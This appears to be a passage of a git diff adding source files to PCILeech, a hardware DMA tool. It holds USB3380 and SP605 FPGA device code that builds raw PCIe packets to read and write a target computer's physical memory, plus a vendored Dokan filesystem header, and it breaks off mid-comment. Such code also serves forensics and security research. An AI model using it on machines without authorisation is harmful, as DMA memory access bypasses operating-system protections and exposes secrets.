PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) +{ + DWORD cbTransferred; + BYTE data[4 + 4]; + if(((cb % 4) != 0) || (cb > 256)) { return FALSE; } + if((qwAddr & 0x03) || ((qwAddr + cb) > 0x100000000)) { return FALSE; } + *(PDWORD)(data + 0) = 0x000000cf | (cb >> 2) << 24; + *(PDWORD)(data + 4) = (DWORD)qwAddr; + return + WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_PCIOUT, data, 8, &cbTransferred, NULL) && + WinUsb_ReadPipe(pDeviceData->WinusbHandle, USB_EP_PCIIN, pb, cb, &cbTransferred, NULL) && + cb == cbTransferred; +} diff --git a/pcileech/device3380.h b/pcileech/device3380.h new file mode 100644 index 0000000..95abc42 --- /dev/null +++ b/pcileech/device3380.h @@ -0,0 +1,62 @@ +// device3380.h : definitions related to the USB3380 hardware device. +// +// (c) Ulf Frisk, 2017 +// Author: Ulf Frisk, pcileech@frizk.net +// +#ifndef __DEVICE3380_H__ +#define __DEVICE3380_H__ +#include "pcileech.h" + +/* +* Open a connection to the USB3380 PCILeech flashed device. +* -- ctx +* -- result +*/ +BOOL Device3380_Open(_Inout_ PPCILEECH_CONTEXT ctx); + +/* +* Clean up various device related stuff and deallocate memory buffers. +* -- ctx +*/ +VOID Device3380_Close(_Inout_ PPCILEECH_CONTEXT ctx); + +/* +* Read data from the target system using DMA. +* -- ctx +* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space) +* -- pb +* -- cb +* -- return +*/ +BOOL Device3380_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb); + +/* +* Write data to the target system using DMA. +* -- ctx +* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space) +* -- pb +* -- cb +* -- return +*/ +BOOL Device3380_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb); + +/* +* Flash a new firmware into the onboard memory of the USB3380 card. +* This may be dangerious and the device may stop working after a reflash! +* -- ctx +*/ +VOID Action_Device3380_Flash(_Inout_ PPCILEECH_CONTEXT ctx); + +/* +* Load a program into the 8051 CPU and start executing it. +* -- ctx +*/ +VOID Action_Device3380_8051Start(_Inout_ PPCILEECH_CONTEXT ctx); + +/* +* Stop the onboard 8051 CPU if its running. +* -- ctx +*/ +VOID Action_Device3380_8051Stop(_Inout_ PPCILEECH_CONTEXT ctx); + +#endif /* __DEVICE3380_H__ */ diff --git a/pcileech/device605.c b/pcileech/device605.c new file mode 100644 index 0000000..d5ec64e --- /dev/null +++ b/pcileech/device605.c @@ -0,0 +1,356 @@ +// device.c : implementation related to the Xilinx SP605 dev board flashed with @d_olex early access bitstream. (UART communication). +// +// (c) Ulf Frisk, 2017 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "device605.h" +#include "device.h" +#include "tlp.h" + +//------------------------------------------------------------------------------- +// SP605 defines below. +//------------------------------------------------------------------------------- + +#define COM_PORT_CFG "COM4" +#define COM_PORT_PCIE "COM3" +#define SP605_STATUS_TX_CONT 0x000000c0 +#define SP605_STATUS_TX_END 0x010000c0 +#define SP605_STATUS_MASK_VALID 0x00000080 +#define SP605_STATUS_MASK_END 0x01000000 +#define SP605_COM_TIMEOUT 100 // milliseconds +#define SP605_READ_TIMEOUT 500 // milliseconds + +#define ENDIAN_SWAP_DWORD(x) (x = (x << 24) | ((x >> 8) & 0xff00) | ((x << 8) & 0xff0000) | (x >> 24)) + +typedef struct tdDEVICE_CONTEXT_SP605_RXBUF { + DWORD cbMax; + DWORD cb; + PBYTE pb; +} DEVICE_CONTEXT_SP605_RXBUF, *PDEVICE_CONTEXT_SP605_RXBUF; + +typedef struct tdDEVICE_CONTEXT_SP605 { + HANDLE hCommCfg; + HANDLE hCommPcie; + HANDLE hThreadRx; + WORD wDeviceId; + BOOL isTerminateThreadRx; + BOOL isPrintTlp; + OVERLAPPED oTx; + OVERLAPPED oRx; + OVERLAPPED oCfg; + HANDLE hRxBufferEvent; + PDEVICE_CONTEXT_SP605_RXBUF pRxBuffer; +} DEVICE_CONTEXT_SP605, *PDEVICE_CONTEXT_SP605; + +VOID Device605_RxTlp_Thread(PDEVICE_CONTEXT_SP605 ctx605); + +//------------------------------------------------------------------------------- +// SP605 implementation below. +//------------------------------------------------------------------------------- + +VOID Device605_Close(_Inout_ PPCILEECH_CONTEXT ctx) +{ + PDEVICE_CONTEXT_SP605 ctx605 = (PDEVICE_CONTEXT_SP605)ctx->hDevice; + if(!ctx605) { return; } + if(ctx605->hThreadRx) { + ctx605->isTerminateThreadRx = TRUE; + WaitForSingleObject(ctx605->hThreadRx, INFINITE); + } + if(ctx605->hRxBufferEvent) { + WaitForSingleObject(ctx605->hRxBufferEvent, INFINITE); + while(ctx605->pRxBuffer) { SwitchToThread(); } + CloseHandle(ctx605->hRxBufferEvent); + } + if(ctx605->hCommCfg) { CloseHandle(ctx605->hCommCfg); } + if(ctx605->hCommPcie) { CloseHandle(ctx605->hCommPcie); } + if(ctx605->oTx.hEvent) { CloseHandle(ctx605->oTx.hEvent); }; + if(ctx605->oRx.hEvent) { CloseHandle(ctx605->oRx.hEvent); }; + if(ctx605->oCfg.hEvent) { CloseHandle(ctx605->oCfg.hEvent); }; + LocalFree(ctx605); + ctx->hDevice = 0; +} + +HANDLE Device605_Open_COM(_In_ LPSTR szCOM) +{ + DCB dcb = { 0 }; + HANDLE hComm; + dcb.DCBlength = sizeof(DCB); + if(!BuildCommDCBW(L"921600,n,8,1", &dcb)) { return 0; } + hComm = CreateFileA(szCOM, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0); + if(hComm == INVALID_HANDLE_VALUE) { return 0; } + if(!SetCommState(hComm, &dcb)) { + CloseHandle(hComm); + return 0; + } + return hComm; +} + +WORD Device605_GetDeviceID(_In_ PDEVICE_CONTEXT_SP605 ctx605) +{ + DWORD dw, txrx[] = { 0x00000000, 0x00000000 }; + if(!WriteFile(ctx605->hCommCfg, txrx, sizeof(txrx), &dw, &ctx605->oCfg)) { + if(ERROR_IO_PENDING != GetLastError()) { return 0; } + if(WAIT_TIMEOUT == WaitForSingleObject(ctx605->oCfg.hEvent, SP605_COM_TIMEOUT)) { return 0; } + } + if(!ReadFile(ctx605->hCommCfg, txrx, sizeof(txrx), &dw, &ctx605->oCfg)) { + if(ERROR_IO_PENDING != GetLastError()) { return 0; } + if(WAIT_TIMEOUT == WaitForSingleObject(ctx605->oCfg.hEvent, SP605_COM_TIMEOUT)) { return 0; } + if(!GetOverlappedResult(ctx605->hCommPcie, &ctx605->oCfg, &dw, FALSE)) { return 0; } + } + return (WORD)_byteswap_ulong(txrx[0]); +} + +BOOL Device605_Open(_Inout_ PPCILEECH_CONTEXT ctx) +{ + DWORD i; + CHAR szCOM[] = { 'C', 'O', 'M', 'x', 0 }; + PDEVICE_CONTEXT_SP605 ctx605; + ctx605 = LocalAlloc(LMEM_ZEROINIT, sizeof(DEVICE_CONTEXT_SP605)); + if(!ctx605) { return FALSE; } + ctx->hDevice = (HANDLE)ctx605; + // open COM ports + for(i = 1; i <= 9; i++) { + szCOM[3] = (CHAR)('0' + i); + if(!ctx605->hCommPcie) { + ctx605->hCommPcie = Device605_Open_COM(szCOM); + } else { + ctx605->hCommCfg = Device605_Open_COM(szCOM); + if(ctx605->hCommCfg) { break; } + } + } + if(!ctx605->hCommPcie || !ctx605->hCommCfg) { goto fail; } + SetupComm(ctx605->hCommPcie, 0x8000, 0x8000); + ctx605->oTx.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if(!ctx605->oTx.hEvent) { goto fail; } + ctx605->oRx.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if(!ctx605->oRx.hEvent) { goto fail; } + ctx605->oCfg.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if(!ctx605->oCfg.hEvent) { goto fail; } + ctx605->hRxBufferEvent = CreateEvent(NULL, TRUE, TRUE, NULL); + if(!ctx605->hRxBufferEvent) { goto fail; } + ctx605->wDeviceId = Device605_GetDeviceID(ctx605); + if(!ctx605->wDeviceId) { goto fail; } + ctx605->isPrintTlp = ctx->cfg->fVerboseExtra; + ctx605->hThreadRx = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Device605_RxTlp_Thread, ctx605, 0, NULL); // start rx thread, must be last in open + if(!ctx605->hThreadRx) { goto fail; } + if(ctx->cfg->fVerbose) { printf("Device Info: SP605.\n"); } + return TRUE; +fail: + Device605_Close(ctx); + return FALSE; +} + +BOOL Device605_TxTlp(_In_ PDEVICE_CONTEXT_SP605 ctx605, _In_ PBYTE pbTlp, _In_ DWORD cbTlp) +{ + DWORD pdwTx[1024], cTx, i, dwTxed; + if(!cbTlp) { return TRUE; } + if((cbTlp & 0x3) || (cbTlp > 2048)) { return FALSE; } + if(ctx605->isPrintTlp) { + TLP_Print(pbTlp, cbTlp, TRUE); + } + // prepare transmit buffer + cTx = cbTlp >> 1; + for(i = 0; i < cTx; i += 2) { + pdwTx[i] = SP605_STATUS_TX_CONT; + pdwTx[i + 1] = *(PDWORD)(pbTlp + (i << 1)); + } + pdwTx[cTx - 2] = SP605_STATUS_TX_END; + // transmit + return + WriteFile(ctx605->hCommPcie, pdwTx, cTx << 2, &dwTxed, &ctx605->oTx) || + (GetLastError() == ERROR_IO_PENDING && GetOverlappedResult(ctx605->hCommPcie, &ctx605->oTx, &dwTxed, TRUE)); +} + +VOID Device605_RxTlp(_In_ PDEVICE_CONTEXT_SP605 ctx605, _In_ PBYTE pb, _In_ DWORD cb) +{ + PTLP_HDR_CplD hdrC = (PTLP_HDR_CplD)pb; + PTLP_HDR hdr = (PTLP_HDR)pb; + PDWORD buf = (PDWORD)pb; + PDEVICE_CONTEXT_SP605_RXBUF prxbuf; + DWORD o, c; + if(cb < 12) { return; } + if(ctx605->isPrintTlp) { + TLP_Print(pb, cb, FALSE); + } + buf[0] = _byteswap_ulong(buf[0]); + if(cb < ((DWORD)hdr->Length << 2) - 12) { return; } + if((hdr->TypeFmt == TLP_CplD) && ctx605->pRxBuffer) { + buf[1] = _byteswap_ulong(buf[1]); + buf[2] = _byteswap_ulong(buf[2]); + // NB! read algorithm below only support reading full 4kB pages _or_ + // partial page if starting at page boundry and read is less than 4kB. + prxbuf = ctx605->pRxBuffer; + o = (hdrC->Tag << 12) + min(0x1000, prxbuf->cbMax) - (hdrC->ByteCount ? hdrC->ByteCount : 0x1000); + c = (DWORD)hdr->Length << 2; + memcpy(prxbuf->pb + o, pb + 12, c); + if(prxbuf->cbMax <= (DWORD)InterlockedAdd(&prxbuf->cb, c)) { + SetEvent(ctx605->hRxBufferEvent); + } + } +} + +VOID Device605_RxTlp_Thread(_In_ PDEVICE_CONTEXT_SP605 ctx605) +{ + DWORD rx[2], dwTlp[1024], cbRead, dwResult, cdwTlp = 0; + while(!ctx605->isTerminateThreadRx) { + if(!ReadFile(ctx605->hCommPcie, rx, 2 * sizeof(DWORD), &cbRead, &ctx605->oRx)) { + if(GetLastError() != ERROR_IO_PENDING) { goto fail; } + while(TRUE) { + dwResult = WaitForSingleObject(ctx605->oRx.hEvent, SP605_COM_TIMEOUT); + if(ctx605->isTerminateThreadRx) { goto fail; } + if(dwResult == WAIT_OBJECT_0) { break; } + if(dwResult == WAIT_TIMEOUT) { continue; } + ctx605->isTerminateThreadRx = TRUE; + return; + } + if(!GetOverlappedResult(ctx605->hCommPcie, &ctx605->oRx, &cbRead, FALSE)) { goto fail; } + } + if(!(rx[0] & SP605_STATUS_MASK_VALID)) { goto fail; } + dwTlp[cdwTlp] = rx[1]; + cdwTlp++; + if(rx[0] & SP605_STATUS_MASK_END) { + Device605_RxTlp(ctx605, (PBYTE)dwTlp, cdwTlp << 2); + cdwTlp = 0; + } + if(cdwTlp >= 1024) { goto fail; } + } +fail: + ctx605->isTerminateThreadRx = TRUE; +} + +BOOL Device605_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) +{ + PDEVICE_CONTEXT_SP605 ctx605 = (PDEVICE_CONTEXT_SP605)ctx->hDevice; + DEVICE_CONTEXT_SP605_RXBUF rxbuf; + DWORD tx[4], o, i; + BOOL is32; + PTLP_HDR_MRdWr64 hdrRd64 = (PTLP_HDR_MRdWr64)tx; + PTLP_HDR_MRdWr32 hdrRd32 = (PTLP_HDR_MRdWr32)tx; + if(cb > 0x00004000) { return FALSE; } + if(qwAddr % 0x1000) { return FALSE; } + if((cb >= 0x1000) && (cb % 0x1000)) { return FALSE; } + if((cb < 0x1000) && (cb % 0x8)) { return FALSE; } + // prepare + rxbuf.cb = 0; + rxbuf.pb = pb; + rxbuf.cbMax = cb; + ctx605->pRxBuffer = &rxbuf; + ResetEvent(ctx605->hRxBufferEvent); + // transmit TLPs + for(o = 0; o < cb; o += 0x1000) { + memset(tx, 0, 16); + is32 = qwAddr + o < 0x100000000; + if(is32) { + hdrRd32->h.TypeFmt = TLP_MRd32; + hdrRd32->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0); + hdrRd32->RequesterID = ctx605->wDeviceId; + hdrRd32->Tag = (BYTE)(o >> 12); + hdrRd32->FirstBE = 0xf; + hdrRd32->LastBE = 0xf; + hdrRd32->Address = (DWORD)(qwAddr + o); + } else { + hdrRd64->h.TypeFmt = TLP_MRd64; + hdrRd32->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0); + hdrRd64->RequesterID = ctx605->wDeviceId; + hdrRd64->Tag = (BYTE)(o >> 12); + hdrRd64->FirstBE = 0xf; + hdrRd64->LastBE = 0xf; + hdrRd64->AddressHigh = (DWORD)((qwAddr + o) >> 32); + hdrRd64->AddressLow = (DWORD)(qwAddr + o); + } + for(i = 0; i < 4; i++) { + ENDIAN_SWAP_DWORD(tx[i]); + } + Device605_TxTlp(ctx605, (PBYTE)tx, is32 ? 12 : 16); + } + // wait for result + WaitForSingleObject(ctx605->hRxBufferEvent, SP605_READ_TIMEOUT); + ctx605->pRxBuffer = NULL; + SetEvent(ctx605->hRxBufferEvent); + return rxbuf.cb >= rxbuf.cbMax; +} + +BOOL Device605_WriteDMA_TXP(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwA, _In_ BYTE bFirstBE, _In_ BYTE bLastBE, _In_ PBYTE pb, _In_ DWORD cb) +{ + PDEVICE_CONTEXT_SP605 ctx605 = (PDEVICE_CONTEXT_SP605)ctx->hDevice; + DWORD txbuf[36], i, cbTlp; + PBYTE pbTlp = (PBYTE)txbuf; + PTLP_HDR_MRdWr32 hdrWr32 = (PTLP_HDR_MRdWr32)txbuf; + PTLP_HDR_MRdWr64 hdrWr64 = (PTLP_HDR_MRdWr64)txbuf; + memset(pbTlp, 0, 16); + if(qwA < 0x100000000) { + hdrWr32->h.TypeFmt = TLP_MWr32; + hdrWr32->h.Length = (WORD)(cb + 3) >> 2; + hdrWr32->FirstBE = bFirstBE; + hdrWr32->LastBE = bLastBE; + hdrWr32->RequesterID = ctx605->wDeviceId; + hdrWr32->Address = (DWORD)qwA; + for(i = 0; i < 3; i++) { + ENDIAN_SWAP_DWORD(txbuf[i]); + } + memcpy(pbTlp + 12, pb, cb); + cbTlp = (12 + cb + 3) & ~0x3; + } else { + hdrWr64->h.TypeFmt = TLP_MWr64; + hdrWr64->h.Length = (WORD)(cb + 3) >> 2; + hdrWr64->FirstBE = bFirstBE; + hdrWr64->LastBE = bLastBE; + hdrWr64->RequesterID = ctx605->wDeviceId; + hdrWr64->AddressHigh = (DWORD)(qwA >> 32); + hdrWr64->AddressLow = (DWORD)qwA; + for(i = 0; i < 4; i++) { + ENDIAN_SWAP_DWORD(txbuf[i]); + } + memcpy(pbTlp + 16, pb, cb); + cbTlp = (16 + cb + 3) & ~0x3; + } + return Device605_TxTlp(ctx605, pbTlp, cbTlp); +} + +BOOL Device605_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwA, _In_ PBYTE pb, _In_ DWORD cb) +{ + BOOL result = TRUE; + BYTE be, pbb[4]; + DWORD cbtx; + if(cb > 0x00004000) { return FALSE; } + // TX 1st dword if not aligned + if(cb && (qwA & 0x3)) { + be = (cb < 3) ? (0xf >> (4 - cb)) : 0xf; + be <<= qwA & 0x3; + cbtx = min(cb, 4 - (qwA & 0x3)); + memcpy(pbb + (qwA & 0x3), pb, cbtx); + result = Device605_WriteDMA_TXP(ctx, qwA & ~0x3, be, 0, pbb, 4); + pb += cbtx; + cb -= cbtx; + qwA += cbtx; + } + // TX as 128-byte packets (aligned to 128-byte boundaries) + while(result && cb) { + cbtx = min(128 - (qwA & 0x7f), cb); + be = (cbtx & 0x3) ? (0xf >> (4 - (cbtx & 0x3))) : 0xf; + result = (cbtx <= 4) ? + Device605_WriteDMA_TXP(ctx, qwA, be, 0, pb, 4) : + Device605_WriteDMA_TXP(ctx, qwA, 0xf, be, pb, cbtx); + pb += cbtx; + cb -= cbtx; + qwA += cbtx; + } + return result; +} + +VOID Action_Device605_TlpTx(_Inout_ PPCILEECH_CONTEXT ctx) +{ + if(ctx->cfg->tpDevice != PCILEECH_DEVICE_SP605) { + printf("TLP: Failed. unsupported device.\n"); + return; + } + if(Device605_TxTlp((PDEVICE_CONTEXT_SP605)ctx->hDevice, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn)) { + printf("TLP: Success.\n"); + // If no custom exit timeout is set wait 500ms to receive any TLP responses. + if(ctx->cfg->qwWaitBeforeExit == 0) { + Sleep(500); + } + } else { + printf("TLP: Failed. TX error.\n"); + } +} diff --git a/pcileech/device605.h b/pcileech/device605.h new file mode 100644 index 0000000..3f55193 --- /dev/null +++ b/pcileech/device605.h @@ -0,0 +1,49 @@ +// device605.h : definitions related to the Xilinx SP605 dev board flashed with @d_olex early access bitstream. (UART communication). +// +// (c) Ulf Frisk, 2017 +// Author: Ulf Frisk, pcileech@frizk.net +// +#ifndef __DEVICE605_H__ +#define __DEVICE605_H__ +#include "pcileech.h" + +/* +* Open a connection to the SP605 PCILeech flashed device. +* -- ctx +* -- result +*/ +BOOL Device605_Open(_Inout_ PPCILEECH_CONTEXT ctx); + +/* +* Clean up various device related stuff and deallocate memory buffers. +* -- ctx +*/ +VOID Device605_Close(_Inout_ PPCILEECH_CONTEXT ctx); + +/* +* Read data from the target system using DMA. +* -- ctx +* -- qwAddr +* -- pb +* -- cb +* -- return +*/ +BOOL Device605_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb); + +/* +* Write data to the target system using DMA. +* -- ctx +* -- qwAddr +* -- pb +* -- cb +* -- return +*/ +BOOL Device605_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb); + +/* +* Transmit a raw PCIe TLP. +* -- ctx +*/ +VOID Action_Device605_TlpTx(_Inout_ PPCILEECH_CONTEXT ctx); + +#endif /* __DEVICE605_H__ */ diff --git a/pcileech/dokan.h b/pcileech/dokan.h new file mode 100644 index 0000000..a2ac76f --- /dev/null +++ b/pcileech/dokan.h @@ -0,0 +1,877 @@ +/* + Dokan : user-mode file system library for Windows + + Copyright (C) 2015 - 2017 Adrien J. and Maxime C. + Copyright (C) 2007 - 2011 Hiroki Asakawa + + http://dokan-dev.github.io + +This program is free software; you can redistribute it and/or modify it under +the terms of the GNU Lesser General Public License as published by the Free +Software Foundation; either version 3 of the License, or (at your option) any +later version. + +This program is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + +You should have received a copy of the GNU Lesser General Public License along +with this program. If not, see . +*/ + +#ifndef DOKAN_H_ +#define DOKAN_H_ + +/** Do not include NTSTATUS. Fix duplicate preprocessor definitions */ +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS +#include + +#include "fileinfo.h" +#include "public.h" + +#ifdef _EXPORTING +/** Export dokan API see also dokan.def for export */ +#define DOKANAPI __stdcall +#else +/** Import dokan API */ +#define DOKANAPI __declspec(dllimport) __stdcall +#endif + +/** Change calling convention to standard call */ +#define DOKAN_CALLBACK __stdcall + +#ifdef __cplusplus +extern "C" { +#endif + +/** @file */ + +/** + * \defgroup Dokan Dokan + * \brief Dokan Library const and methodes + */ +/** @{ */ + +/** The current Dokan version (ver 1.0.0). \ref DOKAN_OPTIONS.Version */ +#define DOKAN_VERSION 100 +/** Minimum Dokan version (ver 1.0.0) accepted. */ +#define DOKAN_MINIMUM_COMPATIBLE_VERSION 100 +/** Maximum number of dokan instances.*/ +#define DOKAN_MAX_INSTANCES 32 +/** Driver file name including the DOKAN_MAJOR_API_VERSION */ +#define DOKAN_DRIVER_NAME L"dokan" DOKAN_MAJOR_API_VERSION L".sys" +/** Network provider name including the DOKAN_MAJOR_API_VERSION */ +#define DOKAN_NP_NAME L"Dokan" DOKAN_MAJOR_API_VERSION + +/** @} */ + +/** + * \defgroup DOKAN_OPTION DOKAN_OPTION + * \brief All DOKAN_OPTION flags used in DOKAN_OPTIONS.Options + * \see DOKAN_FILE_INFO + */ +/** @{ */ + +/** Enable ouput debug message */ +#define DOKAN_OPTION_DEBUG 1 +/** Enable ouput debug message to stderr */ +#define DOKAN_OPTION_STDERR 2 +/** Use alternate stream */ +#define DOKAN_OPTION_ALT_STREAM 4 +/** Enable mount drive as write-protected */ +#define DOKAN_OPTION_WRITE_PROTECT 8 +/** Use network drive - Dokan network provider need to be installed */ +#define DOKAN_OPTION_NETWORK 16 +/** Use removable drive */ +#define DOKAN_OPTION_REMOVABLE 32 +/** Use mount manager */ +#define DOKAN_OPTION_MOUNT_MANAGER 64 +/** Mount the drive on current session only */ +#define DOKAN_OPTION_CURRENT_SESSION 128 +/** Enable Lockfile/Unlockfile operations. Otherwise Dokan will take care of it */ +#define DOKAN_OPTION_FILELOCK_USER_MODE 256 + +/** @} */ + +/** + * \struct DOKAN_OPTIONS + * \brief Dokan mount options used to describe dokan device behavior. + * \see DokanMain + */ +typedef struct _DOKAN_OPTIONS { + /** Version of the dokan features requested (version "123" is equal to Dokan version 1.2.3). */ + USHORT Version; + /** Number of threads to be used internally by Dokan library. More thread will handle more event at the same time. */ + USHORT ThreadCount; + /** Features enable for the mount. See \ref DOKAN_OPTION. */ + ULONG Options; + /** FileSystem can store anything here. */ + ULONG64 GlobalContext; + /** Mount point. Can be "M:\" (drive letter) or "C:\mount\dokan" (path in NTFS). */ + LPCWSTR MountPoint; + /** + * UNC Name for the Network Redirector + * \see Support for UNC Naming + */ + LPCWSTR UNCName; + /** Max timeout in milliseconds of each request before Dokan give up. */ + ULONG Timeout; + /** Allocation Unit Size of the volume. This will behave on the file size. */ + ULONG AllocationUnitSize; + /** Sector Size of the volume. This will behave on the file size. */ + ULONG SectorSize; +} DOKAN_OPTIONS, *PDOKAN_OPTIONS; + +/** + * \struct DOKAN_FILE_INFO + * \brief Dokan file information on the current operation. + */ +typedef struct _DOKAN_FILE_INFO { + /** + * Context that can be used to carry information between operation. + * The Context can carry whatever type like \c HANDLE, struct, int, + * internal reference that will help the implementation understand the request context of the event. + */ + ULONG64 Context; + /** Reserved. Used internally by Dokan library. Never modify. */ + ULONG64 DokanContext; + /** A pointer to DOKAN_OPTIONS which was passed to DokanMain. */ + PDOKAN_OPTIONS DokanOptions; + /** + * Process id for the thread that originally requested a given I/O operation. + */ + ULONG ProcessId; + /** + * Requesting a directory file. + * Must be set in \ref DOKAN_OPERATIONS.ZwCreateFile if the file appear to be a folder. + */ + UCHAR IsDirectory; + /** Flag if the file has to be delete during DOKAN_OPERATIONS.Cleanup event. */ + UCHAR DeleteOnClose; + /** Read or write is paging IO. */ + UCHAR PagingIo; + /** Read or write is synchronous IO. */ + UCHAR SynchronousIo; + /** Read or write directly from data source without cache */ + UCHAR Nocache; + /** If \c TRUE, write to the current end of file instead of using the Offset parameter. */ + UCHAR WriteToEndOfFile; +} DOKAN_FILE_INFO, *PDOKAN_FILE_INFO; + +/** + * \brief FillFindData Used to add an entry in FindFiles operation + * \return 1 if buffer is full, otherwise 0 (currently it never returns 1) + */ +typedef int(WINAPI *PFillFindData)(PWIN32_FIND_DATAW, PDOKAN_FILE_INFO); + +/** + * \brief FillFindStreamData Used to add an entry in FindStreams + * \return 1 if buffer is full, otherwise 0 (currently it never returns 1) + */ +typedef int(WINAPI *PFillFindStreamData)(PWIN32_FIND_STREAM_DATA, + PDOKAN_FILE_INFO); + +// clang-format off + +/** + * \struct DOKAN_OPERATIONS + * \brief Dokan API callbacks interface + * + * DOKAN_OPERATIONS is a struct of callbacks that describe all Dokan API operation + * that will be called when Windows access to the filesystem. + * + * If an error occurs, return NTSTATUS (https://support.microsoft.com/en-us/kb/113996). + * Win32 Error can be converted to \c NTSTATUS with \ref DokanNtStatusFromWin32 + * + * All this callbacks can be set to \c NULL or return \c STATUS_NOT_IMPLEMENTED + * if you dont want to support one of them. Be aware that returning such value to important callbacks + * such as DOKAN_OPERATIONS.ZwCreateFile / DOKAN_OPERATIONS.ReadFile / ... would make the filesystem not working or unstable. + */ +typedef struct _DOKAN_OPERATIONS { + /** + * \brief CreateFile Dokan API callback + * + * CreateFile is called each time a request is made on a file system object. + * + * In case \c OPEN_ALWAYS & \c CREATE_ALWAYS are opening successfully a already + * existing file, you have to return \c STATUS_OBJECT_NAME_COLLISION instead of \c STATUS_SUCCESS . + * This will inform Dokan that the file has been opened and not created during the request. + * + * If the file is a directory, CreateFile is also called. + * In this case, CreateFile should return \c STATUS_SUCCESS when that directory + * can be opened and DOKAN_FILE_INFO.IsDirectory has to be set to \c TRUE. + * + * DOKAN_FILE_INFO.Context can be use to store Data (like \c HANDLE) + * that can be retrieved in all other request related to the Context + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param SecurityContext SecurityContext, see https://msdn.microsoft.com/en-us/library/windows/hardware/ff550613(v=vs.85).aspx + * \param DesiredAccess Specifies an ACCESS_MASK value that determines the requested access to the object. + * \param FileAttributes Specifies one or more FILE_ATTRIBUTE_XXX flags, which represent the file attributes to set if you create or overwrite a file. + * \param ShareAccess Type of share access, which is specified as zero or any combination of FILE_SHARE_* flags. + * \param CreateDisposition Specifies the action to perform if the file does or does not exist. + * \param CreateOptions Specifies the options to apply when the driver creates or opens the file. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see See ZwCreateFile for more information about the parameters of this callback (MSDN). + * \see DokanMapKernelToUserCreateFileFlags + * \see DokanMapStandardToGenericAccess + */ + NTSTATUS(DOKAN_CALLBACK *ZwCreateFile)(LPCWSTR FileName, + PDOKAN_IO_SECURITY_CONTEXT SecurityContext, + ACCESS_MASK DesiredAccess, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief Cleanup Dokan API callback + * + * Cleanup request before \ref CloseFile is called. + * + * When DOKAN_FILE_INFO.DeleteOnClose is \c TRUE, you must delete the file in Cleanup. + * See DeleteFile documentation for explanation. + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param DokanFileInfo Information about the file or directory. + * \see DeleteFile + * \see DeleteDirectory + */ + void(DOKAN_CALLBACK *Cleanup)(LPCWSTR FileName, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief CloseFile Dokan API callback + * + * Clean remaining Context + * + * CloseFile is called at the end of the life of the context. + * Remainings in \ref DOKAN_FILE_INFO.Context has to be cleared before return. + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param DokanFileInfo Information about the file or directory. + */ + void(DOKAN_CALLBACK *CloseFile)(LPCWSTR FileName, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief ReadFile Dokan API callback + * + * ReadFile callback on the file previously opened in DOKAN_OPERATIONS.ZwCreateFile. + * It can be called by different thread at the same time. + * Therefor the read/context has to be thread safe. + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param Buffer Read buffer that has to be fill with the read result. + * \param BufferLength Buffer length and also the read size to proceed. + * \param ReadLength Total data size that has been read. + * \param Offset Offset from where the read has to be proceed. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see WriteFile + */ + NTSTATUS(DOKAN_CALLBACK *ReadFile)(LPCWSTR FileName, + LPVOID Buffer, + DWORD BufferLength, + LPDWORD ReadLength, + LONGLONG Offset, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief WriteFile Dokan API callback + * + * WriteFile callback on the file previously opened in DOKAN_OPERATIONS.ZwCreateFile + * It can be called by different thread at the same time. + * Therefor the write/context has to be thread safe. + * + * \param FileName File path requested by the Kernel on the FileSystem. + * \param Buffer Data that has to be written. + * \param NumberOfBytesToWrite Buffer length and also the write size to proceed. + * \param NumberOfBytesWritten Total byte that has been write. + * \param Offset Offset from where the write has to be proceed. + * \param DokanFileInfo Information about the file or directory. + * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. + * \see ReadFile + */ + NTSTATUS(DOKAN_CALLBACK *WriteFile)(LPCWSTR FileName, + LPCVOID Buffer, + DWORD NumberOfBytesToWrite, + LPDWORD NumberOfBytesWritten, + LONGLONG Offset, + PDOKAN_FILE_INFO DokanFileInfo); + + /** + * \brief FlushFileBuffers Dokan API callback + * + * Clears buffers for this context and causes any buffered data to be written to the file. + * + * \param FileName File path 